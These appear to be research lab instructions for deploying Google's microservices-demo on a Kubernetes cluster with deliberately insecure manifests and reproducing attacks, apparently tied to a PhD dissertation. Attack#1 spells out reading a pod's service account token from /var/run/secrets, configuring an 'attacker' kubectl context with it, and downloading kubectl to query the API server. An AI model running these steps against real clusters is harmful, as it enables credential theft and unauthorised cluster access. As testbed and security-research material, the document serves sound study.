Deploy microservice-demo,

Set up a Kubernetes cluster, preferably kubeadm. (1 control plane + 2 worker nodes)

Download the repository: https://github.com/GoogleCloudPlatform/microservices-demo

Please download the attached "microservices-demo.zip" folder.

Replace the Kubernetes manifests under the Release folder of the attached "microservices-demo.zip" of repository downloaded in step 2 to deploy the application.

I have attached an old version of my PhD dissertation. Please use the commands in the Table 5.11 in page 62 of my PhD Dissertation to generate the attacks.

Apply kubernetes-manifest.yaml in release folder to apply some insecure configurations

Attack#1

1. kubectl exec -it checkoutservice -- /bin/bash -n default

>> cat /var/run/secrets/kubernetes.io/serviceaccount/token

Copy the token

1. TOKEN=$(token)

kubectl config set-credentials attacker --token=$TOKEN

Kubectl config set-context attacker-context --cluster=<cluster-name> --user=attacker

kubectl config use-context attacker-context

1. wget https://storage.googleapis.com/kubernetes-release/release/${VERSION}/bin/linux/amd64/kubectl -O kubectl

chmod +x ./kubectl

mv ./kubectl /usr/local/bin/kubectl

Then send request to k8s api